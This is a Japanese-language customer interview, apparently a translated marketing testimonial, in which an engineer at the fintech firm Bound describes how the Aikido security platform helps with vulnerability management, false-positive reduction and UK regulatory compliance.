• 簡単なオンボーディング：Vismaの社内ポータルを使えば、Aikido 導入するのは簡単です。
• 積極的なサポート：インスタント・メッセージ・プラットフォーム（Slackなど）を通じたAikido迅速で迅速なサポートは、私たちが安心して任せられると感じさせてくれます。

やあ、ダン！あなた自身とバウンドについて、もう少し教えていただけますか？

こんにちは、私はダン・キンドラーです。 バウンド.私たちは、通貨変換とヘッジを安く、公平に、そして何よりも簡単にすることに注力しています。私たちのプラットフォームは、世界中の何百もの企業が為替リスクから身を守るのに役立っています。現在、私たちのチームの約半分はエンジニアで構成されています。

バウンドはフィンテック・セクターの中で、また競合他社と比較して、どのような位置づけにあるのでしょうか？

FinTechそのものに飛び込む前に、まず伝統的な金融機関に対する当社の位置づけを説明しよう。伝統的な銀行やブローカーは通常、電話や電子メールでの取引を重視する大規模な財務チームを持つ顧客を対象としている。オンライン取引所では通常、その場での取引しかできない。私たちの目的はヘッジを簡単で手間のかからないものにすることなので、お客様の国際的なキャッシュフローを管理し保護するために、スポット取引と為替ヘッジの両方のツールを提供しています。2022年12月、当社は英国の金融規制当局であるFCAから認可を受け、規制対象のヘッジ商品を提供できるようになりました。

FinTechに関して言えば、オンライン上でセルフサービスの外貨両替を導入することで、私たちはバウンダリー（境界）を破ろうとしていると言ってもいいだろう。WiseやRevolutのような企業は、オンラインで簡単に外貨両替ができるようにすることで、素晴らしい成果を上げています。バウンドでは、将来のキャッシュフローを重視している。

FinTechにおけるセキュリティはどのような目的を果たすべきか？

私たちの業界では、セキュリティが大きな役割を果たしています。一日の終わりに、私たちは何十万ポンド、何百万ドル、何百万ユーロの価値のある金融取引を扱っています。バウンドでは、取引額はすでに数億ドルを超えています。もしセキュリティ・リスクが私たちの製品、あるいは他のFinTech製品に潜り込んだら、大問題になると言っていいでしょう。ただのファンではありません。法的な影響はさておき、ハッカーは他人の貯蓄を盗み、ビジネスや生活を破壊する可能性がある。

FinTechの世界では、規制当局や政府規制機関が、顧客データを扱う企業に対してより厳しい監視の目を向けていることは想像に難くない。Aikido このような状況にどのように対処しているのでしょうか？

コンプライアンスを維持しなければならないというプレッシャーは非常に大きい。英国では、GDPRのような厳しい規制や、データ保護とセキュリティに関するFCAのガイダンスを常にナビゲートしています。特に私たちは機密性の高い顧客データを扱っているため、規制当局は私たちが脆弱性を積極的に管理することを期待しています。

Aikido 私たちにとって画期的な存在です。9-in-1プラットフォームによって、ソフトウェア・セキュリティのあらゆる側面を包括的にカバーできるようになりました。このアプローチにより、複数のツールをつなぎ合わせることなく、規制要件を満たすことが容易になりました。大きなプラスは、誤検知が減ったことです。規制の現場では、存在しない脆弱性を追いかけて時間を浪費する余裕はありません。 Aikido精度は、アラートが来たときに、それがアクションを必要とするものであると信頼できることを意味します。さらに、明確なUXにより、私たちのチームは迅速に行動することができ、セキュリティ・ツールにありがちな複雑さを避けることができます。開発フローを中断することなく、潜在的なコンプライアンス問題を先取りすることができます。

他のエンジニアリング・リードやバイスプレジデントにとって、今後どのようなレギュレーションが控えていると思われますか？

今後の英国のFinTech規制は、オープンバンキングの拡大とデジタル資産の監督強化に焦点が当てられると思われる。バリアブル・リカーリング・ペイメントやデジタル規制のサンドボックスのようなイノベーションにより、エンジニアリング・チームはより厳しいセキュリティ基準と新しいAPI統合に備える必要がある。

Aikido始める前、セキュリティの面で夜も眠れなかったことは？どのようにセキュリティに取り組んでいましたか？

正直なところ、セキュリティ・チェックの種類ごとに異なるツールを管理するのは大変でした。何かが見逃されるのではないかと常に心配していましたし、偽陽性の数がさらに事態を悪化させていました。Aikido すべてを1つの場所にまとめてくれたので、今ではすべてのノイズなしに本当の問題をキャッチできるようになり、私たちの生活はとても楽になりました。

バウンドは、報告された未解決の問題をすべて解決した数少ない顧客の一人です。Aikido あなたを助けてくれましたか？

もちろんです！私たちは、セキュリティに真剣に取り組んでいると自負しています。私たちにとって、Aikido 脆弱性管理と修復のアプローチ方法に多大な影響を与えてくれました。私たちはAikidoを唯一の真実の情報源と考えており、プラットフォームの重複排除と偽陽性の事前フィルタリング機能は、木を見て森を見るのにとても役立っています。本当の脆弱性が発見されると、私たちの課題追跡システム（リニア）にトリガーが表示され、できるだけ早く修正するようにしています。このプロセスは非常にうまくいっており、私たちの開発サイクルにうまく組み込まれています。

Aikido チームと一緒に仕事をした経験は？

チームは初日からとても反応が良く、協力的です。私たちはリアルタイムでフィードバックを共有し、要望を出し、共同のSlackチャンネルを通じて関連する製品のアップデートを受け取ることができます。ある時、私はAikido チームに、自分たちが何に巻き込まれたかわかっているのかと尋ねた。私たちがあらゆることを尋ねることができるとわかってからは、彼らの製品チームを眠らせなかった！

お気に入りの機能は？

誤検出を減らすことはさておき、「GitHubからインポート」ボタンはとてもクールだ。すべてのレポが自動的にチームに割り当てられるのがとてもいい。私たちはGitHubを真実のソースとして保ち、Aikido それに従ってシームレスにすべてをマッピングすることができます。

最後に一言お願いします。

私たちは今年の初めに初めての侵入テストとAmazon AWSのセキュリティ監査を受け、とてもうまくいった。中程度以上のものは何も得られなかった（そして中程度のもののほとんどは、いずれにせよ私が完全に同意したものではなかった...）。もしAikido 私たちに常に叫んでいなかったら、彼らはもっと多くの興味深いものを見つけていただろう！